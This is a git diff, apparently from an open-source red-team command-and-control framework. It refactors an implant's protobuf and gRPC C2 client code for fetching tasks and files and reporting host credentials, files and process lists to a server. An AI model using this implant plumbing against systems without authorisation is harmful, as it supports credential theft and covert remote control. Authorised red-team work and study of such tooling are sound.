-#[allow(clippy::derive_partial_eq_without_eq)] -#[derive(Clone, PartialEq, ::prost::Message)] -pub struct ReportFileResponse {} -#[allow(clippy::derive_partial_eq_without_eq)] -#[derive(Clone, PartialEq, ::prost::Message)] -pub struct ReportProcessListRequest { - #[prost(int64, tag = "1")] - pub task_id: i64, - #[prost(message, optional, tag = "2")] - pub list: ::core::option::Option, -} -#[allow(clippy::derive_partial_eq_without_eq)] -#[derive(Clone, PartialEq, ::prost::Message)] -pub struct ReportProcessListResponse {} -#[allow(clippy::derive_partial_eq_without_eq)] -#[derive(Clone, PartialEq, ::prost::Message)] -pub struct ReportTaskOutputRequest { - #[prost(message, optional, tag = "1")] - pub output: ::core::option::Option, -} -#[allow(clippy::derive_partial_eq_without_eq)] -#[derive(Clone, PartialEq, ::prost::Message)] -pub struct ReportTaskOutputResponse {} -/// Generated client implementations. -pub mod c2_client { - #![allow(unused_variables, dead_code, missing_docs, clippy::let_unit_value)] - use tonic::codegen::*; - use tonic::codegen::http::Uri; - #[derive(Debug, Clone)] - pub struct C2Client { - inner: tonic::client::Grpc, - } - impl C2Client { - /// Attempt to create a new client by connecting to a given endpoint. - pub async fn connect(dst: D) -> Result - where - D: TryInto, - D::Error: Into, - { - let conn = tonic::transport::Endpoint::new(dst)?.connect().await?; - Ok(Self::new(conn)) - } - } - impl C2Client - where - T: tonic::client::GrpcService, - T::Error: Into, - T::ResponseBody: Body + Send + 'static, - ::Error: Into + Send, - { - pub fn new(inner: T) -> Self { - let inner = tonic::client::Grpc::new(inner); - Self { inner } - } - pub fn with_origin(inner: T, origin: Uri) -> Self { - let inner = tonic::client::Grpc::with_origin(inner, origin); - Self { inner } - } - pub fn with_interceptor( - inner: T, - interceptor: F, - ) -> C2Client> - where - F: tonic::service::Interceptor, - T::ResponseBody: Default, - T: tonic::codegen::Service< - http::Request, - Response = http::Response< - >::ResponseBody, - >, - >, - , - >>::Error: Into + Send + Sync, - { - C2Client::new(InterceptedService::new(inner, interceptor)) - } - /// Compress requests with the given encoding. - /// - /// This requires the server to support it otherwise it might respond with an - /// error. - #[must_use] - pub fn send_compressed(mut self, encoding: CompressionEncoding) -> Self { - self.inner = self.inner.send_compressed(encoding); - self - } - /// Enable decompressing responses. - #[must_use] - pub fn accept_compressed(mut self, encoding: CompressionEncoding) -> Self { - self.inner = self.inner.accept_compressed(encoding); - self - } - /// Limits the maximum size of a decoded message. - /// - /// Default: `4MB` - #[must_use] - pub fn max_decoding_message_size(mut self, limit: usize) -> Self { - self.inner = self.inner.max_decoding_message_size(limit); - self - } - /// Limits the maximum size of an encoded message. - /// - /// Default: `usize::MAX` - #[must_use] - pub fn max_encoding_message_size(mut self, limit: usize) -> Self { - self.inner = self.inner.max_encoding_message_size(limit); - self - } - /// - /// Contact the server for new tasks to execute. - pub async fn claim_tasks( - &mut self, - request: impl tonic::IntoRequest, - ) -> std::result::Result< - tonic::Response, - tonic::Status, - > { - self.inner - .ready() - .await - .map_err(|e| { - tonic::Status::new( - tonic::Code::Unknown, - format!("Service was not ready: {}", e.into()), - ) - })?; - let codec = tonic::codec::ProstCodec::default(); - let path = http::uri::PathAndQuery::from_static("/c2.C2/ClaimTasks"); - let mut req = request.into_request(); - req.extensions_mut().insert(GrpcMethod::new("c2.C2", "ClaimTasks")); - self.inner.unary(req, path, codec).await - } - /// - /// Download a file from the server, returning one or more chunks of data. - /// The maximum size of these chunks is determined by the server. - /// The server should reply with two headers: - /// - "sha3-256-checksum": A SHA3-256 digest of the entire file contents. - /// - "file-size": The number of bytes contained by the file. - /// - /// If no associated file can be found, a NotFound status error is returned. - pub async fn download_file( - &mut self, - request: impl tonic::IntoRequest, - ) -> std::result::Result< - tonic::Response>, - tonic::Status, - > { - self.inner - .ready() - .await - .map_err(|e| { - tonic::Status::new( - tonic::Code::Unknown, - format!("Service was not ready: {}", e.into()), - ) - })?; - let codec = tonic::codec::ProstCodec::default(); - let path = http::uri::PathAndQuery::from_static("/c2.C2/DownloadFile"); - let mut req = request.into_request(); - req.extensions_mut().insert(GrpcMethod::new("c2.C2", "DownloadFile")); - self.inner.server_streaming(req, path, codec).await - } - /// - /// Report a credential from the host to the server. - pub async fn report_credential( - &mut self, - request: impl tonic::IntoRequest, - ) -> std::result::Result< - tonic::Response, - tonic::Status, - > { - self.inner - .ready() - .await - .map_err(|e| { - tonic::Status::new( - tonic::Code::Unknown, - format!("Service was not ready: {}", e.into()), - ) - })?; - let codec = tonic::codec::ProstCodec::default(); - let path = http::uri::PathAndQuery::from_static("/c2.C2/ReportCredential"); - let mut req = request.into_request(); - req.extensions_mut().insert(GrpcMethod::new("c2.C2", "ReportCredential")); - self.inner.unary(req, path, codec).await - } - /// - /// Report a file from the host to the server. - /// Providing content of the file is optional. If content is provided: - /// - Hash will automatically be calculated and the provided hash will be ignored. - /// - Size will automatically be calculated and the provided size will be ignored. - /// Content is provided as chunks, the size of which are up to the agent to define (based on memory constraints). - /// Any existing files at the provided path for the host are replaced. - pub async fn report_file( - &mut self, - request: impl tonic::IntoStreamingRequest, - ) -> std::result::Result< - tonic::Response, - tonic::Status, - > { - self.inner - .ready() - .await - .map_err(|e| { - tonic::Status::new( - tonic::Code::Unknown, - format!("Service was not ready: {}", e.into()), - ) - })?; - let codec = tonic::codec::ProstCodec::default(); - let path = http::uri::PathAndQuery::from_static("/c2.C2/ReportFile"); - let mut req = request.into_streaming_request(); - req.extensions_mut().insert(GrpcMethod::new("c2.C2", "ReportFile")); - self.inner.client_streaming(req, path, codec).await - } - /// - /// Report the active list of running processes. This list will replace any previously reported - /// lists for the same host. - pub async fn report_process_list( - &mut self, - request: impl tonic::IntoRequest, - ) -> std::result::Result< - tonic::Response, - tonic::Status, - > { - self.inner - .ready() - .await - .map_err(|e| { - tonic::Status::new( - tonic::Code::Unknown, - format!("Service was not ready: {}", e.into()), - ) - })?; - let codec = tonic::codec::ProstCodec::default(); - let path = http::uri::PathAndQuery::from_static("/c2.C2/ReportProcessList"); - let mut req = request.into_request(); - req.extensions_mut().insert(GrpcMethod::new("c2.C2", "ReportProcessList")); - self.inner.unary(req, path, codec).await - } - /// - /// Report execution output for a task. - pub async fn report_task_output( - &mut self, - request: impl tonic::IntoRequest, - ) -> std::result::Result< - tonic::Response, - tonic::Status, - > { - self.inner - .ready() - .await - .map_err(|e| { - tonic::Status::new( - tonic::Code::Unknown, - format!("Service was not ready: {}", e.into()), - ) - })?; - let codec = tonic::codec::ProstCodec::default(); - let path = http::uri::PathAndQuery::from_static("/c2.C2/ReportTaskOutput"); - let mut req = request.into_request(); - req.extensions_mut().insert(GrpcMethod::new("c2.C2", "ReportTaskOutput")); - self.inner.unary(req, path, codec).await - } - } -} diff --git a/implants/lib/api/src/lib.rs b/implants/lib/api/src/lib.rs deleted file mode 100644 index ae1496d18..000000000 --- a/implants/lib/api/src/lib.rs +++ /dev/null @@ -1,8 +0,0 @@ -pub mod pb { - pub mod eldritch { - include!("generated/eldritch.rs"); - } - pub mod c2 { - include!("generated/c2.rs"); - } -} diff --git a/implants/lib/c2/build.rs b/implants/lib/c2/build.rs deleted file mode 100644 index 39b4e6e5a..000000000 --- a/implants/lib/c2/build.rs +++ /dev/null @@ -1,30 +0,0 @@ -use std::env; -use std::path::PathBuf; -use which::which; - -fn main() -> Result<(), Box> { - match env::var_os("PROTOC") - .map(PathBuf::from) - .or_else(|| which("protoc").ok()) - { - Some(_) => println!("Found protoc, protos will be generated"), - None => { - println!("WARNING: Failed to locate protoc, protos will not be generated"); - return Ok(()); - } - } - - match tonic_build::configure() - .out_dir("./src/generated") - .build_server(false) - .extern_path(".eldritch", "::eldritch::pb") - .compile(&["c2.proto"], &["../../../tavern/internal/c2/proto/"]) - { - Err(err) => { - println!("WARNING: Failed to compile protos: {}", err); - panic!("{}", err); - } - Ok(_) => println!("Generating protos"), - } - Ok(()) -} diff --git a/implants/lib/eldritch/Cargo.toml b/implants/lib/eldritch/Cargo.toml index 9db913588..b87e13a93 100644 --- a/implants/lib/eldritch/Cargo.toml +++ b/implants/lib/eldritch/Cargo.toml @@ -9,11 +9,13 @@ imix = [] print_stdout = [] [dependencies] +pb = { workspace = true } +transport = { workspace = true, test = true } + aes = { workspace = true } allocative = { workspace = true } allocative_derive = { workspace = true } anyhow = { workspace = true } -api = { workspace = true } async-recursion = { workspace = true } async-trait = { workspace = true } base64 = { workspace = true } diff --git a/implants/lib/eldritch/build.rs b/implants/lib/eldritch/build.rs index f6cff00ee..32bc917a8 100644 --- a/implants/lib/eldritch/build.rs +++ b/implants/lib/eldritch/build.rs @@ -1,7 +1,6 @@ use anyhow::Result; use std::env; use std::path::PathBuf; -use which::which; #[cfg(all(target_os = "windows", debug_assertions))] fn build_bin_create_file_dll() { @@ -102,35 +101,8 @@ fn set_host_family() { println!("cargo:rustc-cfg=host_family=\"{}\"", HOST_FAMILY); } -fn build_proto() -> Result<()> { - match env::var_os("PROTOC") - .map(PathBuf::from) - .or_else(|| which("protoc").ok()) - { - Some(_) => println!("Found protoc, protos will be generated"), - None => { - println!("WARNING: Failed to locate protoc, protos will not be generated"); - return Ok(()); - } - } - - match tonic_build::configure() - .out_dir("./src/generated/") - .build_client(false) - .build_server(false) - .compile(&["eldritch.proto"], &["../../../tavern/internal/c2/proto"]) - { - Err(err) => { - println!("WARNING: Failed to compile protos: {}", err); - } - Ok(_) => println!("Generating protos"), - } - Ok(()) -} - fn main() -> Result<()> { set_host_family(); - build_proto()?; #[cfg(all(target_os = "windows", debug_assertions))] build_bin_create_file_dll(); #[cfg(target_os = "windows")] diff --git a/implants/lib/eldritch/src/assets/copy_impl.rs b/implants/lib/eldritch/src/assets/copy_impl.rs index 03ef2e96e..7987c92da 100644 --- a/implants/lib/eldritch/src/assets/copy_impl.rs +++ b/implants/lib/eldritch/src/assets/copy_impl.rs @@ -1,8 +1,13 @@ -use crate::runtime::Environment; +use crate::runtime::{ + messages::{FetchAsset, Message}, + Environment, +}; use anyhow::{Context, Result}; +use pb::c2::{FetchAssetRequest, FetchAssetResponse}; use starlark::{eval::Evaluator, values::list::ListRef}; use std::fs::OpenOptions; use std::io::Write; +use std::sync::mpsc::channel; use std::{fs, sync::mpsc::Receiver}; fn copy_local(src: String, dst: String) -> Result<()> { @@ -17,7 +22,7 @@ fn copy_local(src: String, dst: String) -> Result<()> { } } -fn copy_remote(rx: Receiver>, dst_path: String) -> Result<()> { +fn copy_remote(rx: Receiver, dst_path: String) -> Result<()> { // Truncate file let mut dst = OpenOptions::new() .create(true) @@ -39,8 +44,8 @@ fn copy_remote(rx: Receiver>, dst_path: String) -> Result<()> { .context(format!("failed to open file for writing: {}", &dst_path))?; // Listen for downloaded chunks and write them - for chunk in rx { - dst.write_all(&chunk) + for resp in rx { + dst.write_all(&resp.chunk) .context(format!("failed to write file chunk: {}", &dst_path))?; } @@ -61,9 +66,13 @@ pub fn copy(starlark_eval: &Evaluator<'_, '_>, src: String, dst: String) -> Resu if tmp_list.contains(&src_value.to_value()) { let env = Environment::from_extra(starlark_eval.extra)?; - let file_reciever = env.request_file(src)?; + let (tx, rx) = channel(); + env.send(Message::from(FetchAsset { + req: FetchAssetRequest { name: src }, + tx, + }))?; - return copy_remote(file_reciever, dst); + return copy_remote(rx, dst); } } copy_local(src, dst) @@ -71,7 +80,12 @@ pub fn copy(starlark_eval: &Evaluator<'_, '_>, src: String, dst: String) -> Resu #[cfg(test)] mod tests { - use crate::assets::copy_impl::copy_remote; + use crate::{ + assets::copy_impl::copy_remote, + runtime::messages::{FetchAsset, Message}, + }; + use pb::c2::FetchAssetResponse; + use pb::eldritch::Tome; use std::sync::mpsc::channel; use std::{collections::HashMap, io::prelude::*}; use tempfile::NamedTempFile; @@ -82,16 +96,19 @@ mod tests { let mut tmp_file_dst = NamedTempFile::new()?; let path_dst = String::from(tmp_file_dst.path().to_str().unwrap()); - let (ch_data, data) = channel::>(); - let handle = tokio::task::spawn_blocking(|| { - copy_remote(data, path_dst).expect("copy_remote failed") - }); + let (tx, rx) = channel(); + let handle = + tokio::task::spawn_blocking(|| copy_remote(rx, path_dst).expect("copy_remote failed")); - ch_data.send("Hello from a remote asset".as_bytes().to_vec())?; - ch_data.send("Goodbye from a remote asset".as_bytes().to_vec())?; + tx.send(FetchAssetResponse { + chunk: "Hello from a remote asset".as_bytes().to_vec(), + })?; + tx.send(FetchAssetResponse { + chunk: "Goodbye from a remote asset".as_bytes().to_vec(), + })?; // Drop the Sender, to indicate no more data will be sent (channel closed) - drop(ch_data); + drop(tx); handle.await?; @@ -109,12 +126,15 @@ mod tests { let path_dst = String::from(tmp_file_dst.path().to_str().unwrap()); // Run Eldritch (in it's own thread) - let mut runtime = crate::start(crate::pb::Tome { - eldritch: r#"assets.copy("test_tome/test_file.txt", input_params['test_output'])"# - .to_owned(), - parameters: HashMap::from([("test_output".to_string(), path_dst)]), - file_names: Vec::from(["test_tome/test_file.txt".to_string()]), - }) + let mut runtime = crate::start( + 123, + Tome { + eldritch: r#"assets.copy("test_tome/test_file.txt", input_params['test_output'])"# + .to_owned(), + parameters: HashMap::from([("test_output".to_string(), path_dst)]), + file_names: Vec::from(["test_tome/test_file.txt".to_string()]), + }, + ) .await; // We now mock the agent, looping until eldritch requests a file @@ -122,22 +142,35 @@ mod tests { loop { // The runtime only returns the data that is currently available // So this may return an empty vec if our eldritch tokio task has not yet been scheduled - let mut reqs = runtime.collect_file_requests(); - - // If no file request is yet available, just continue looping - if reqs.is_empty() { + let mut messages = runtime.collect(); + let mut fetch_asset_msgs: Vec<&FetchAsset> = messages + .iter() + .filter_map(|m| match m { + Message::FetchAsset(msg) => Some(msg), + _ => None, + }) + .collect(); + + // If no asset request is yet available, just continue looping + if fetch_asset_msgs.is_empty() { continue; } - // Ensure the right file was requested - assert!(reqs.len() == 1); - let req = reqs.pop().expect("no file request received!"); - assert!(req.name() == "test_tome/test_file.txt"); + // Ensure the right asset was requested + assert!(fetch_asset_msgs.len() == 1); + let msg = fetch_asset_msgs.pop().expect("no asset request received!"); + assert!(msg.req.name == "test_tome/test_file.txt"); // Now, we provide the file to eldritch (as a series of chunks) - req.send_chunk("chunk1\n".as_bytes().to_vec()) + msg.tx + .send(FetchAssetResponse { + chunk: "chunk1\n".as_bytes().to_vec(), + }) .expect("failed to send file chunk to eldritch"); - req.send_chunk("chunk2\n".as_bytes().to_vec()) + msg.tx + .send(FetchAssetResponse { + chunk: "chunk2\n".as_bytes().to_vec(), + }) .expect("failed to send file chunk to eldritch"); // We've finished providing the file, so we stop looping @@ -169,18 +202,26 @@ mod tests { #[cfg(target_os = "windows")] let path_src = "exec_script/hello_world.bat".to_string(); - let runtime = crate::start(crate::pb::Tome { - eldritch: r#"assets.copy(input_params['src_file'], input_params['test_output'])"# - .to_owned(), - parameters: HashMap::from([ - ("src_file".to_string(), path_src), - ("test_output".to_string(), path_dst), - ]), - file_names: Vec::from(["test_tome/test_file.txt".to_string()]), - }) + let runtime = crate::start( + 123, + Tome { + eldritch: r#"assets.copy(input_params['src_file'], input_params['test_output'])"# + .to_owned(), + parameters: HashMap::from([ + ("src_file".to_string(), path_src), + ("test_output".to_string(), path_dst), + ]), + file_names: Vec::from(["test_tome/test_file.txt".to_string()]), + }, + ) .await; - assert!(runtime.collect_errors().is_empty()); // No errors even though the remote asset is inaccessible + let messages = runtime.collect(); + let errors = messages + .iter() + .filter(|x| matches!(x, Message::ReportError(_))) + .collect::>(); + assert!(errors.is_empty()); let mut contents = String::new(); tmp_file_dst.read_to_string(&mut contents)?; diff --git a/implants/lib/eldritch/src/generated/eldritch.rs b/implants/lib/eldritch/src/generated/eldritch.rs deleted file mode 100644 index 15f376f8f..000000000 --- a/implants/lib/eldritch/src/generated/eldritch.rs +++ /dev/null @@ -1,191 +0,0 @@ -/// Tome for eldritch to execute. -#[allow(clippy::derive_partial_eq_without_eq)] -#[derive(Clone, PartialEq, ::prost::Message)] -pub struct Tome { - #[prost(string, tag = "1")] - pub eldritch: ::prost::alloc::string::String, - #[prost(map = "string, string", tag = "2")] - pub parameters: ::std::collections::HashMap< - ::prost::alloc::string::String, - ::prost::alloc::string::String, - >, - #[prost(string, repeated, tag = "3")] - pub file_names: ::prost::alloc::vec::Vec<::prost::alloc::string::String>, -} -/// Credential reported on the host system. -#[allow(clippy::derive_partial_eq_without_eq)] -#[derive(Clone, PartialEq, ::prost::Message)] -pub struct Credential { - #[prost(string, tag = "1")] - pub principal: ::prost::alloc::string::String, - #[prost(string, tag = "2")] - pub secret: ::prost::alloc::string::String, - #[prost(enumeration = "credential::Kind", tag = "3")] - pub kind: i32, -} -/// Nested message and enum types in `Credential`. -pub mod credential { - #[derive( - Clone, - Copy, - Debug, - PartialEq, - Eq, - Hash, - PartialOrd, - Ord, - ::prost::Enumeration - )] - #[repr(i32)] - pub enum Kind { - Unspecified = 0, - Password = 1, - SshKey = 2, - } - impl Kind { - /// String value of the enum field names used in the ProtoBuf definition. - /// - /// The values are not transformed in any way and thus are considered stable - /// (if the ProtoBuf definition does not change) and safe for programmatic use. - pub fn as_str_name(&self) -> &'static str { - match self { - Kind::Unspecified => "KIND_UNSPECIFIED", - Kind::Password => "KIND_PASSWORD", - Kind::SshKey => "KIND_SSH_KEY", - } - } - /// Creates an enum from field names used in the ProtoBuf definition. - pub fn from_str_name(value: &str) -> ::core::option::Option { - match value { - "KIND_UNSPECIFIED" => Some(Self::Unspecified), - "KIND_PASSWORD" => Some(Self::Password), - "KIND_SSH_KEY" => Some(Self::SshKey), - _ => None, - } - } - } -} -/// Process running on the host system. -#[allow(clippy::derive_partial_eq_without_eq)] -#[derive(Clone, PartialEq, ::prost::Message)] -pub struct Process { - #[prost(uint64, tag = "1")] - pub pid: u64, - #[prost(uint64, tag = "2")] - pub ppid: u64, - #[prost(string, tag = "3")] - pub name: ::prost::alloc::string::String, - #[prost(string, tag = "4")] - pub principal: ::prost::alloc::string::String, - #[prost(string, tag = "5")] - pub path: ::prost::alloc::string::String, - #[prost(string, tag = "6")] - pub cmd: ::prost::alloc::string::String, - #[prost(string, tag = "7")] - pub env: ::prost::alloc::string::String, - #[prost(string, tag = "8")] - pub cwd: ::prost::alloc::string::String, - #[prost(enumeration = "process::Status", tag = "9")] - pub status: i32, -} -/// Nested message and enum types in `Process`. -pub mod process { - #[derive( - Clone, - Copy, - Debug, - PartialEq, - Eq, - Hash, - PartialOrd, - Ord, - ::prost::Enumeration - )] - #[repr(i32)] - pub enum Status { - Unspecified = 0, - Unknown = 1, - Idle = 2, - Run = 3, - Sleep = 4, - Stop = 5, - Zombie = 6, - Tracing = 7, - Dead = 8, - WakeKill = 9, - Waking = 10, - Parked = 11, - LockBlocked = 12, - UninteruptibleDiskSleep = 13, - } - impl Status { - /// String value of the enum field names used in the ProtoBuf definition. - /// - /// The values are not transformed in any way and thus are considered stable - /// (if the ProtoBuf definition does not change) and safe for programmatic use. - pub fn as_str_name(&self) -> &'static str { - match self { - Status::Unspecified => "STATUS_UNSPECIFIED", - Status::Unknown => "STATUS_UNKNOWN", - Status::Idle => "STATUS_IDLE", - Status::Run => "STATUS_RUN", - Status::Sleep => "STATUS_SLEEP", - Status::Stop => "STATUS_STOP", - Status::Zombie => "STATUS_ZOMBIE", - Status::Tracing => "STATUS_TRACING", - Status::Dead => "STATUS_DEAD", - Status::WakeKill => "STATUS_WAKE_KILL", - Status::Waking => "STATUS_WAKING", - Status::Parked => "STATUS_PARKED", - Status::LockBlocked => "STATUS_LOCK_BLOCKED", - Status::UninteruptibleDiskSleep => "STATUS_UNINTERUPTIBLE_DISK_SLEEP", - } - } - /// Creates an enum from field names used in the ProtoBuf definition. - pub fn from_str_name(value: &str) -> ::core::option::Option { - match value { - "STATUS_UNSPECIFIED" => Some(Self::Unspecified), - "STATUS_UNKNOWN" => Some(Self::Unknown), - "STATUS_IDLE" => Some(Self::Idle), - "STATUS_RUN" => Some(Self::Run), - "STATUS_SLEEP" => Some(Self::Sleep), - "STATUS_STOP" => Some(Self::Stop), - "STATUS_ZOMBIE" => Some(Self::Zombie), - "STATUS_TRACING" => Some(Self::Tracing), - "STATUS_DEAD" => Some(Self::Dead), - "STATUS_WAKE_KILL" => Some(Self::WakeKill), - "STATUS_WAKING" => Some(Self::Waking), - "STATUS_PARKED" => Some(Self::Parked), - "STATUS_LOCK_BLOCKED" => Some(Self::LockBlocked), - "STATUS_UNINTERUPTIBLE_DISK_SLEEP" => Some(Self::UninteruptibleDiskSleep), - _ => None, - } - } - } -} -/// ProcessList of running processes on the host system. -#[allow(clippy::derive_partial_eq_without_eq)] -#[derive(Clone, PartialEq, ::prost::Message)] -pub struct ProcessList { - #[prost(message, repeated, tag = "1")] - pub list: ::prost::alloc::vec::Vec, -} -/// File on the host system. -#[allow(clippy::derive_partial_eq_without_eq)] -#[derive(Clone, PartialEq, ::prost::Message)] -pub struct File { - #[prost(string, tag = "1")] - pub path: ::prost::alloc::string::String, - #[prost(string, tag = "2")] - pub owner: ::prost::alloc::string::String, - #[prost(string, tag = "3")] - pub group: ::prost::alloc::string::String, - #[prost(string, tag = "4")] - pub permissions: ::prost::alloc::string::String, - #[prost(uint64, tag = "5")] - pub size: u64, - #[prost(string, tag = "6")] - pub sha3_256_hash: ::prost::alloc::string::String, - #[prost(bytes = "vec", tag = "7")] - pub chunk: ::prost::alloc::vec::Vec, -} diff --git a/implants/lib/eldritch/src/lib.rs b/implants/lib/eldritch/src/lib.rs index 30f090b6d..b90fccc41 100644 --- a/implants/lib/eldritch/src/lib.rs +++ b/implants/lib/eldritch/src/lib.rs @@ -4,14 +4,10 @@ pub mod file; pub mod pivot; pub mod process; mod report; -mod runtime; +pub mod runtime; pub mod sys; pub mod time; -pub mod pb { - include!("generated/eldritch.rs"); -} - pub use runtime::{start, FileRequest, Runtime}; #[allow(unused_imports)] diff --git a/implants/lib/eldritch/src/report/process_list_impl.rs b/implants/lib/eldritch/src/report/process_list_impl.rs index e6bf7d3a6..2e8c3e92e 100644 --- a/implants/lib/eldritch/src/report/process_list_impl.rs +++ b/implants/lib/eldritch/src/report/process_list_impl.rs @@ -1,12 +1,12 @@ +use crate::runtime::{ + messages::{Message, ReportProcessList}, + Environment, +}; use anyhow::Result; +use pb::eldritch::{process::Status, Process, ProcessList}; use starlark::values::Value; use starlark::{collections::SmallMap, eval::Evaluator}; -use crate::{ - pb::{process::Status, Process, ProcessList}, - runtime::Environment, -}; - pub fn process_list( starlark_eval: &Evaluator<'_, '_>, process_list: Vec>, @@ -28,7 +28,10 @@ pub fn process_list( }) } - env.report_process_list(pb_process_list)?; + env.send(Message::from(ReportProcessList { + id: env.id(), + list: pb_process_list, + }))?; Ok(()) } @@ -57,11 +60,11 @@ fn unpack_status(proc: &SmallMap) -> Status { #[cfg(test)] mod test { - use std::collections::HashMap; - - use crate::pb::process::Status; - use crate::pb::{Process, ProcessList, Tome}; use anyhow::Error; + use pb::c2::*; + use pb::eldritch::process::Status; + use pb::eldritch::*; + use std::collections::HashMap; macro_rules! process_list_tests { ($($name:ident: $value:expr,)*) => { @@ -69,26 +72,20 @@ mod test { #[tokio::test] async fn $name() { let tc: TestCase = $value; - let mut runtime = crate::start(tc.tome).await; + + // Run Eldritch (until finished) + let mut runtime = crate::start(tc.id, tc.tome).await; runtime.finish().await; - let want_err_str = match tc.want_error { - Some(err) => err.to_string(), - None => "".to_string(), - }; - let err_str = match runtime.collect_errors().pop() { - Some(err) => err.to_string(), - None => "".to_string(), - }; - assert_eq!(want_err_str, err_str); - assert_eq!(tc.want_output, runtime.collect_text().join("")); - assert_eq!(Some(tc.want_proc_list), runtime.collect_process_lists().pop()); + // Dispatch Messages + // TODO } )* } } struct TestCase { + pub id: i64, pub tome: Tome, pub want_output: String, pub want_error: Option, @@ -97,6 +94,7 @@ mod test { process_list_tests! { one_process: TestCase{ + id: 123, tome: Tome{ eldritch: String::from(r#"report.process_list([{"pid":5,"ppid":101,"name":"test","username":"root","path":"/bin/cat","env":"COOL=1","command":"cat","cwd":"/home/meow","status":"IDLE"}])"#), parameters: HashMap::new(), diff --git a/implants/lib/eldritch/src/report/ssh_key_impl.rs b/implants/lib/eldritch/src/report/ssh_key_impl.rs index 298eff783..d0dbd0c8f 100644 --- a/implants/lib/eldritch/src/report/ssh_key_impl.rs +++ b/implants/lib/eldritch/src/report/ssh_key_impl.rs @@ -1,14 +1,26 @@ -use crate::{pb::credential::Kind, pb::Credential, runtime::Environment}; +use crate::runtime::{ + messages::{Message, ReportCredential}, + Environment, +}; use anyhow::Result; +use pb::{ + c2::ReportCredentialRequest, + eldritch::{credential::Kind, Credential}, +}; use starlark::eval::Evaluator; pub fn ssh_key(starlark_eval: &Evaluator<'_, '_>, username: String, key: String) -> Result<()> { let env = Environment::from_extra(starlark_eval.extra)?; - env.report_credential(Credential { - principal: username, - secret: key, - kind: Kind::SshKey.into(), - })?; + env.send(Message::from(ReportCredential { + req: ReportCredentialRequest { + task_id: env.id(), + credential: Some(Credential { + principal: username, + secret: key, + kind: Kind::SshKey.into(), + }), + }, + }))?; Ok(()) } @@ -16,8 +28,11 @@ pub fn ssh_key(starlark_eval: &Evaluator<'_, '_>, username: String, key: String) mod test { use std::collections::HashMap; - use crate::pb::{credential::Kind, Credential, Tome}; use anyhow::Error; + use pb::{ + c2::ReportCredentialResponse, + eldritch::{credential::Kind, Credential, Tome}, + }; macro_rules! test_cases { ($($name:ident: $value:expr,)*) => { @@ -25,26 +40,19 @@ mod test { #[tokio::test] async fn $name() { let tc: TestCase = $value; - let mut runtime = crate::start(tc.tome).await; + + let mut runtime = crate::start(tc.id, tc.tome).await; runtime.finish().await; - let want_err_str = match tc.want_error { - Some(err) => err.to_string(), - None => "".to_string(), - }; - let err_str = match runtime.collect_errors().pop() { - Some(err) => err.to_string(), - None => "".to_string(), - }; - assert_eq!(want_err_str, err_str); - assert_eq!(tc.want_output, runtime.collect_text().join("")); - assert_eq!(Some(tc.want_credential), runtime.collect_credentials().pop()); + // TODO + // runtime.collect_and_dispatch(mock).await; } )* } } struct TestCase { + pub id: i64, pub tome: Tome, pub want_output: String, pub want_error: Option, @@ -53,6 +61,7 @@ mod test { test_cases! { one_credential: TestCase{ + id: 123, tome: Tome{ eldritch: String::from(r#"report.ssh_key(username="root", key="---BEGIN---youknowtherest")"#), parameters: HashMap::new(), diff --git a/implants/lib/eldritch/src/report/user_password_impl.rs b/implants/lib/eldritch/src/report/user_password_impl.rs index f9859b94f..e36020a54 100644 --- a/implants/lib/eldritch/src/report/user_password_impl.rs +++ b/implants/lib/eldritch/src/report/user_password_impl.rs @@ -1,5 +1,12 @@ -use crate::{pb::credential::Kind, pb::Credential, runtime::Environment}; +use crate::runtime::{ + messages::{Message, ReportCredential}, + Environment, +}; use anyhow::Result; +use pb::{ + c2::ReportCredentialRequest, + eldritch::{credential::Kind, Credential}, +}; use starlark::eval::Evaluator; pub fn user_password( @@ -8,11 +15,16 @@ pub fn user_password( password: String, ) -> Result<()> { let env = Environment::from_extra(starlark_eval.extra)?; - env.report_credential(Credential { - principal: username, - secret: password, - kind: Kind::Password.into(), - })?; + env.send(Message::from(ReportCredential { + req: ReportCredentialRequest { + task_id: env.id(), + credential: Some(Credential { + principal: username, + secret: password, + kind: Kind::Password.into(), + }), + }, + }))?; Ok(()) } @@ -20,8 +32,11 @@ pub fn user_password( mod test { use std::collections::HashMap; - use crate::pb::{credential::Kind, Credential, Tome}; use anyhow::Error; + use pb::{ + c2::ReportCredentialResponse, + eldritch::{credential::Kind, Credential, Tome}, + }; macro_rules! test_cases { ($($name:ident: $value:expr,)*) => { @@ -29,26 +44,19 @@ mod test { #[tokio::test] async fn $name() { let tc: TestCase = $value; - let mut runtime = crate::start(tc.tome).await; + + let mut runtime = crate::start(tc.id, tc.tome).await; runtime.finish().await; - let want_err_str = match tc.want_error { - Some(err) => err.to_string(), - None => "".to_string(), - }; - let err_str = match runtime.collect_errors().pop() { - Some(err) => err.to_string(), - None => "".to_string(), - }; - assert_eq!(want_err_str, err_str); - assert_eq!(tc.want_output, runtime.collect_text().join("")); - assert_eq!(Some(tc.want_credential), runtime.collect_credentials().pop()); + // runtime.collect_and_dispatch(mock).await; + // TODO } )* } } struct TestCase { + pub id: i64, pub tome: Tome, pub want_output: String, pub want_error: Option, @@ -57,6 +65,7 @@ mod test { test_cases! { one_credential: TestCase{ + id: 123, tome: Tome{ eldritch: String::from(r#"report.user_password(username="root", password="changeme")"#), parameters: HashMap::new(), diff --git a/implants/lib/eldritch/src/runtime/environment.rs b/implants/lib/eldritch/src/runtime/environment.rs index d9a1327c3..98fef4e17 100644 --- a/implants/lib/eldritch/src/runtime/environment.rs +++ b/implants/lib/eldritch/src/runtime/environment.rs @@ -1,6 +1,6 @@ -use super::{messages::ReportText, Message}; -use crate::pb::{Credential, File, ProcessList}; +use super::messages::{Message, ReportText}; use anyhow::{Context, Error, Result}; +use pb::eldritch::{Credential, File, ProcessList}; use starlark::{ values::{AnyLifetime, ProvidesStaticType}, PrintHandler, diff --git a/implants/lib/eldritch/src/runtime/eval.rs b/implants/lib/eldritch/src/runtime/eval.rs index a2fcca346..71a56e219 100644 --- a/implants/lib/eldritch/src/runtime/eval.rs +++ b/implants/lib/eldritch/src/runtime/eval.rs @@ -1,19 +1,16 @@ -use super::{drain::drain, drain::drain_last, Environment, FileRequest}; +use super::{ + drain::{drain, drain_last}, + messages::{aggregate, Dispatcher, Transport}, + Environment, FileRequest, +}; use crate::{ - assets::AssetsLibrary, - crypto::CryptoLibrary, - file::FileLibrary, - pb::{Credential, File, ProcessList, Tome}, - pivot::PivotLibrary, - process::ProcessLibrary, - report::ReportLibrary, - runtime::messages, - runtime::Message, - sys::SysLibrary, - time::TimeLibrary, + assets::AssetsLibrary, 